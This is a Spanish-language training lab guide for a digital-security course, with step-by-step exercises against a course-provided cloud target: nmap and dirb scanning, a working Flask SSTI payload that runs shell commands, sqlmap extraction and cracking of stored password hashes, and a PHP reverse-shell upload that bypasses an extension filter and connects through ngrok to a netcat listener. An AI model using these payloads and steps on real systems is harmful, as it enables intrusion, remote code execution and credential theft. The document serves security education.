Lab 2

Descargar como pdf o txt
Descargar como pdf o txt
Está en la página 1de 31

Creando una Trayectoria Profesional en

Seguridad Digital

Laboratorio 2: Análisis de Amenazas

Abril-Mayo, 2021

1
ÍNDICE

Índice
1. Laboratorio 2 3
1.1. Laboratorio 2A . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2. Laboratorio 2B . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
1.3. Laboratorio 2C . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
1.4. Laboratorio 2D . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

2
1. Laboratorio 2
Acerca del Laboratorio 2

Objetivos: Rastreo de servicios, directorios, búsqueda y explota-


ción de vulnerabilidades web.

Requerimientos:
Es deseable que los asistentes tengan conocimientos previos
en redes convergentes, protocolos de red y sistemas opera-
tivos (Linux y Windows)

Sitio de los laboratorios en la nube http://oea-labs.ddns.net/


Conexión a Internet
Queda estrictamente prohibido modificar configuración o
parámetros que afecten el ambiente de cada laboratorio o
al sistema operativo en la nube

La referencia del nivel de riesgo de las vulnerabilidades de este la-


boratorio está basado en la Metodología de evaluación de riesgos de
la OWASP. En la Figura 1 se muestra la matriz de riesgo con Agentes de
amenaza y el semáforo de criticidad específico de la aplicación.

Figura 1:

1.1. Laboratorio 2A
1. Desde su máquina virtual con sistema operativo Kali Linux abra una
terminal nueva y ejecute la herramienta nmap e identifique las op-
ciones disponibles:
# K a l i Linux
$ nmap −h

2. Ejecute un rastreo rápido (opción -F ) al sitio de laboratorios de la


nube, analizando los primeros 100 puertos y almacene la salida en
un archivo denominado puertos1.txt

3
1.1 Laboratorio 2A

# K a l i Linux
$ nmap −F oea−labs . ddns . net −oA puertos1 . t x t

3. Ejecute un rastreo rápido (opción -F ), identifique la versión de los


servicios disponibles a través de las opciones de banner grabbing y
fingerprinting (-sV ). Almacene la salida en un archivo denominado
puertos2.txt
# K a l i Linux
$ nmap −F −sV oea−labs . ddns . net −oA puertos2 . t x t

4. Ejecute un rastreo completo, analizando todos los puertos. Identifi-


que la versión de los servicios disponibles a través de las opciones
de banner grabbing / fingerprinting (-sV ) y ejecute scripts avanza-
dos para detección de versiones de servicios y sistemas operativos
(opción -A). Almacene la salida en un archivo denominado puer-
tos3.txt
# K a l i Linux
$ nmap sV −A oea−labs . ddns . net −oA puertos3 . t x t

5. Compare la salida de los 3 rastreos anteriores

¿Existen puertos que no son visibles en en la ejecución del rastreo


rápido?

Fallas de configuración

En el desarrollo y levantamiento de infraestructura sobre Inter-


net es común utulizar archivos de configuración, generar bi-
tácoras, imprimir datos de depuración, respaldos entre otros.
Según la OWASP en el punto A6-Configuración de Seguridad
Incorrecta
Los atacantes a menudo intentarán explotar
vulnerabilidades sin parchear o acceder a cuentas por
defecto, páginas no utilizadas, archivos y directorios
desprotegidos, etc. para obtener acceso o conocimiento
del sistema o del negocio. .

Los servidores ligeros como http.server de Python son pro-


pensos a este tipo de vulnerabilidades ya que no existe algu-
na configuración de seguridad por defecto para levantar los
servicios.

Clasificación de la OWASP: A6:2017-Configuración de

4
1.1 Laboratorio 2A

Seguridad Incorrecta
Nivel explotabilidad: 3
Nivel de detectabilidad: 3

Nivel de Prevalencia: 3
Impacto técnico: 2

6. Realice un rastreo de directorios mediante la herramienta dirb al


aplicativo en el puerto 8000.
# K a l i Linux
$ d i r b http : / / oea−labs . ddns . net :8000/

¿Se pueden encontrar archivos de configuración o detalles acer-


ca de las versiones de servicios que den pauta al inicio de una
intrusión?

5
1.2 Laboratorio 2B

1.2. Laboratorio 2B
Server Side Template Injection (SSTI) en Python

Es común que las aplicaciones desarrolladas por capas utilicen


plantillas de HTML para presentar la información ya procesada.

De alguna forma los valores, por ejemplo, aquellos consultados


desde una base de datos, deben de ser visualizados de manera
dinámica en las plantillas del front-end.

Las aplicaciones desarrolladas con tecnología FLASK de Python,


procesan y envían información, mediante mensajes del protocolo
HTTP a plantillas del front-end, utilizando funciones propias del len-
guaje capaces de interpretar y compilar los valores recibidos. Si la
solicitud no es propiamente sanitizada (los valores de entrada son
filtrados) se pueden inyectar secuencias no esperadas o valores
arbitrarios que el compilador evaluará correctamente, pudiendo
tomar control de todas las funciones globales del lenguaje (lectu-
ra, escritura y ejecución). A lo anterior se le denomina SSTI (Server-
Side Template Injection)

Clasificación de la OWASP: A1:2017-Inyección


Nivel explotabilidad: 3
Nivel de detectabilidad: 3

Nivel de Prevalencia: 2
Impacto técnico: 3

Para ejecutar la vulnerabilidad siga estos pasos:


1. Identifique el servicio y la tecnología empleada en el aplicativo del
puerto 5001

2. Ejecute la consulta del formulario Mi Login en la aplicación con


cualquier valor para los campos Usuario=admin y Contraseña=abcdefg.
Observe la redirección

6
1.2 Laboratorio 2B

Figura 2:

3. Identifique si la variable username recibe parámetros arbitrarios que


puedan ser evaluados por el compilador:

http://oea-labs.ddns.net:5001/home?username={{7*7}}

¿Detecta que es vulnerable a inyección de secuencias por planti-


llas (SSTI)?

Figura 3:

4. Python contiene un diccionario de objetos con funciones∗ para es-


tablecer el ambiente del servidor. Identifique si alguno de los obje-
tos permite realizar acciones de lectura y trate de leer la bandera
en el directorio indicado:

http://oea-labs.ddns.net:5001/home?username={{”.__class__.__mro__[1]
.__subclasses__()[312](’cat /home/ubuntu/flask/bandera.txt’,
shell=True, stdout=-1).communicate()[0].strip()}}

De lo anterior:

En Python los métodos __mro__ o mro() permiten leer un ár-


bol de objetos heredados en su ambiente y las sub-clases(

7
1.2 Laboratorio 2B

__subclasses__) permiten moverse entre ellos en forma de lis-


ta (arreglo). ¡Se pueden acceder a las clases del ambiente de
Python e instanciarlas!
El código incrustado en la URL anterior permite inyectar códi-
go arbitrario del bash de Linux con la capacidad leer archivos
mediante el método heredado subprocess.Popen que se en-
cuentra en el índice 312 del arreglo

5. Decodifique la bandera de codificación Base64 a texto plano me-


diante la herramienta CyberCheff

8
1.3 Laboratorio 2C

1.3. Laboratorio 2C
Inyección de SQL (sqli)

Es una de las técnicas de explotación más comunes, en la cual se


inyecta código malicioso en las declaraciones de SQL, mediante
parámetros de entrada. Una mala implementación y sanitización
de entradas permite la rápida ejecución de consultas maliciosas.
Dependiendo de la severidad del ataque, la base de datos y el
sistema de información pueden quedar inoperables.

Clasificación de la OWASP: A1:2017-Inyección


Nivel explotabilidad: 3
Nivel de detectabilidad: 3

Nivel de Prevalencia: 2
Impacto técnico: 3

Existen tres categorías de sqli:


In-band: el atacante utiliza el mismo canal de información para
perpetrar el ataque y obtener resultados:
• Basado en error: produce un error en los mensajes de la ba-
se de datos para obtener información de la estructura de la
misma
• Basado en uniones: utiliza el operador UNION para fusionar múl-
tiples declaraciones de SQL y obtener acceso a la base de
datos
Blind sqli: el atacante envía cargas útiles al servidor y observa el
comportamiento del mismo para obtener resultados, se llama blind
ya que el atacante no puede ser directamente la información arro-
jada por la base datos
• boolean: se envían consultas a la base de datos esperando a
la respuesta de un resultado que varía si es verdadero o falso
• time-based: envía una serie de cargas útiles esperando una
serie de tiempo para arrojar el resultado, el atacante obser-
va el tiempo de respuesta para determinar si la consulta fue
satisfactoria o no
Out-of-band: el atacante no utiliza el mismo canal de información
para realizar el ataque de sqli, se aprovecha de un punto medio
para poder realizar el envío de consultas maliciosas

9
1.3 Laboratorio 2C

Para ejecutar la vulnerabilidad siga estos pasos:


1. Identifique el servicio disponible en http://oea-labs.ddns.net/userhack/

Figura 4:

2. Realice alguna consulta al buscador de empleados y observe la


solicitud en la barra de navegación

Figura 5:

¿El parámetro id será propenso a una inyección?

10
1.3 Laboratorio 2C

http://oea-labs.ddns.net/userhack/?id=3&Submit=Submit#

3. Realice una consulta booleana y observe el resultado

http://oea-labs.ddns.net/userhack/?id=”or ’1’=’1’

Figura 6:

¿Arrojó más de un valor de consulta? Esto sucede ya que la consul-


ta se traduce como selecciona al empleado donde el id siempre
sea verdadero ya que or ’1’=’1’ siempre regresará un valor true
4. Utilice la herramienta sqlmap contenida en el sistema operativo Kali
Linux y automatice la generación de consultas
# K a l i Linux
$ sqlmap −u http : / / oea−labs . ddns . net / userhack /? i d =1

, donde la opción -u especifica la url como argumento. Observe


que sqlmap ha detectado que el parámetro id puede ser candi-
dato a inyección de sqli para el gestor de bases de datos MySQL.
Ingrese la letra y para indicar que se excluyan pruebas de otros
gestores y se acepte el nivel y riesgo de la consulta∗ por defecto.

11
1.3 Laboratorio 2C

Figura 7:


sqlmp define las cargas de consulta mediante niveles y riesgos, el
primero define el número de consultas SQL y el segundo el tipo de
consultas (error, union, blind, etc.)
5. Ingrese la letra y para indicar si que la herramienta pruebe si hay
algún otro parámetro vulnerable. En la siguiente Figura se muestra
que la inyección es exitosa y se puede ejecutar mediante boolean-
based blind, time-based blind y UNION query, con sus respectivas
consultas

12
1.3 Laboratorio 2C

Figura 8:

6. Añada el argumento –dbs para recuperar información de las bases


de datos
# K a l i Linux
sqlmap −u http : / / oea−labs . ddns . net / userhack /? i d =1 −−dbs

Figura 9:

Identifique la base de datos users


7. Añada el argumento -D para seleccionar la base de datos users y
liste las tablas de la misma con el argumento –tables
# K a l i Linux
sqlmap −u http : / / oea−labs . ddns . net / userhack /? i d =1 −D u s e r s −−tables

La base de datos users contiene una tabla denominada users

Figura 10:

13
1.3 Laboratorio 2C

8. Recupere la información de las columnas mediante el parámetro


–columns
# K a l i Linux
sqlmap −u http : / / oea−labs . ddns . net / userhack /? i d =1 −D u s e r s −T u s e r s
−−columns

De las 8 columnas listadas, dos tienen valores que podrían tener ser
interesantes para un futuro inicio de sesión: user y password

Figura 11:

9. Extraiga los valores de las columnas seleccionadas mediante la pa-


rámetro –dump

Figura 12:

Escriba la letra N para especificar que por el momento los resul-


tados no se procesaran con otras herramientas. Los valores de la
tabla password se encuentran almacenados en formato hash con
el algoritmo md5 por lo que será necesario realizar un ataque de

14
1.4 Laboratorio 2D

fuerza bruta para encontrar sus valores en texto plano. Escriba la


letra N para empezar el ataque con el diccionario por defecto de
sqlmap
10. Inice sesión con alguno de los nombres de usuarios y contraseñas
recuperadas

Figura 13:

1.4. Laboratorio 2D
Ejecución de Código Remoto en un ambiente Linux

La ejecución de código remoto es un tipo de ataque, en el cual un


actor malicioso puede ejecutar comandos en un sistema sin ne-
cesitar algún tipo de autorización. Este tipo de acciones pueden
comprometer al sistema informático, puedo quedar inoperable y
con control total del atacante si se llegan a escalar privilegios.
El objetivo de este laboratorio es ejecutar código remoto en un
servidor víctima y poder crear un escenario de reverse shell desde
la nube.

Clasificación de la OWASP: A1:2017-Inyección


Nivel explotabilidad: 3

Nivel de detectabilidad: 3
Nivel de Prevalencia: 2
Impacto técnico: 3

15
1.4 Laboratorio 2D

¿Qué es un reverse shell?

En una situación normal los usuarios ejecutan una consola de co-


mandos bash (shell) para utilizar recursos del servidor iniciando
una conexión remota que escucha las comunicaciones, la mayo-
ría de las veces con algún grado de autenticación y autorización
(como en el caso de una sesión mediante ssh). Por otro lado, gra-
cias a la ejecución de código remoto es común que al atacan-
te logre acceso interactivo mediante la consola bash de manera
opuesta, donde el servidor inicia la comunicación hacia el recurso
del atacante. Ver Figura 14.

Figura 14:

Para ejecutar la vulnerabilidad siga estos pasos:

1. Ingrese al sistema de carga de archivos http://oea-labs.ddns.net/instahack/

16
1.4 Laboratorio 2D

Figura 15:

2. En el sistema operativo Kali Linux abra el navegador por defecto


Navegador web

Figura 16:

17
1.4 Laboratorio 2D

3. En el navegador diríjase al panel superior derecho y escoja la pes-


taña de Preferences

Figura 17:

4. Desplácese hasta el último rubro de la pestaña de Preferences y


seleccione Network Settings/Settings

Figura 18:

18
1.4 Laboratorio 2D

5. En la opción Manual proxy configuration añada la dirección 127.0.0.1


y el puerto 8080, además de seleccionar la casilla Also use this
proxy for FTP and HTTPs

Figura 19:

6. El paso anterior servirá para poder utilizar la herramienta Burp Suite,


la cual sirve para pruebas de pentest y análisis de vulnerabilida-
des. Es un una herramienta proxy que captura las solicitudes en el
protocolo HTTP de navegadores locale o remotos. En este caso se
capturarán las solicitudes de manera local y podrán se retransmiti-
das modificando sus parámetros.

19
1.4 Laboratorio 2D

Figura 20: Diagrama de funcionamiento de la herramienta Burp Suite.

Busque la herramienta Burp Suite en la lista de aplicaciones del sis-


tema operativo Kali Linux: Análisis de Aplicaciones Web/burpsuite

Figura 21:

Ignore la alerta de actualización de JRE, dando click en el botón


OK

20
1.4 Laboratorio 2D

Figura 22:

Acepte los términos y condiciones de la herramienta Burp suite

Figura 23:

7. Haga caso omiso a la actualización y de click al botón Close

21
1.4 Laboratorio 2D

Figura 24:

8. Utilice la configuración por defecto e inicie la herramienta

22
1.4 Laboratorio 2D

Figura 25:

9. Ingrese al sitio http://oea-labs.ddns.net/instahack/ e identifique la


pestaña Proxy y el tráfico que está siendo capturado

Figura 26:

Seleccione el botón Forward para que se permita la solicitud llegar


a su destino

23
1.4 Laboratorio 2D

10. Suba una foto en formato jpg/png y observe la captura de la soli-


citud con el contenido de la imagen

Figura 27:

Figura 28:

Observe si la imagen ha sido añadida en la galería de imágenes y

24
1.4 Laboratorio 2D

en la ruta de archivos http://oea-labs.ddns.net/instahack/images/gallery/fulls/

Figura 29:

Seleccione el botón Forward para que se permita la solicitud llegar


a su destino. ¿ Podrá modificarse la extensión y el contenido con
código malicoso?
11. Copie el archivo de shell reversa en la carpeta de su selección e
intente subirlo al sitio vulnerable

Figura 30:

Visualice el contenido ce código fuente en el lenguaje php. Este


archivo es un popular reverse shell, que actúa como un agente
malicioso asemejándose a un backdoor. Mas información de este
script en este enlace

25
1.4 Laboratorio 2D

Figura 31:

La restricción del filtro del de contenido de extensiones no permite


la carga de archivos en formaros diferentes a jpg/jpg

Figura 32:

12. La validación se enfoca en el tipo de extensión, mas no el conte-


nido del mismo. Inicie la herramienta ngrok en el puerto local 4444
del protocolo TCP e identifique el puerto remoto generado en la
dirección de la herramienta

Figura 33:

26
1.4 Laboratorio 2D

Figura 34:

Un escenario de reverse shell funciona si la dirección IP de la vícti-


ma y el atacante están enlazadas a una interfaz de red. En una red
local es fácil de lograr el ataque, sin embargo hacerlo fuera de la
LAN es un trabajo más complejo ya que la infraestructura depende
de cada proveedor proveedor de Internet, siendo lo más común
que los modems caseros estén bajo NAT y la dirección pública no
esté enlazada a ninguna interfaz. La herramienta ngrok sirve como
un tunel entre Internet y el host local sin importar la arquitectura del
ISP, enlazando el código remoto incrustado en el servidor víctima y
las comunicaciones de la máquina virtual,

Figura 35: Escenario utilizando la herramienta ngrok.

13. Aunque ngrok servirá como puente para la reverse shell, es necesa-
rio capturar la respuesta de manera local. Mediante la herramienta
netcat, se pueden leer conexiones de red de los protocolos TCP y
UDP de puertos remotos a locales. Inicie netcat en el mismo puerto
local especificado por ngrok.
# K a l i Linux
nc −lvpn 4444

, donde la opción l sirve para iniciar en modo escucha; v es ver-


bose; n sirve para evitar resoluciones de DNS y p es el puerto local
de escucha.

27
1.4 Laboratorio 2D

14. Edite el archivo php-reverse-shell.php y añada los datos propor-


cionados por ngrok en las lineas $ip y $port

Figura 36:

15. Renombre el archivo php-reverse-shell.php a NombreCompleto.php.jpg


y suba al sistema vulnerable, para observar su captura en la herra-
mienta Burp Suite

Figura 37:

28
1.4 Laboratorio 2D

Figura 38:

16. Remueva la extensión php y de click al botón Forward y visualice si


el archivo se guardó en el servidor correctamente

Figura 39:

Figura 40:

17. Ingrese a la ruta de archivos http://oea-labs.ddns.net/instahack/images/gallery/fulls/


e identifique su archivo. Ábralo y observe si la herramienta netcat
recibió la comunicación remota

29
1.4 Laboratorio 2D

Figura 41:

Figura 42: Netcat recibiendo la consola remota

18. Muestre la bandera contenida en el archivo /etc/passwd


# K a l i Linux
cat / etc /passwd

30
1.4 Laboratorio 2D

Figura 43:

31

También podría gustarte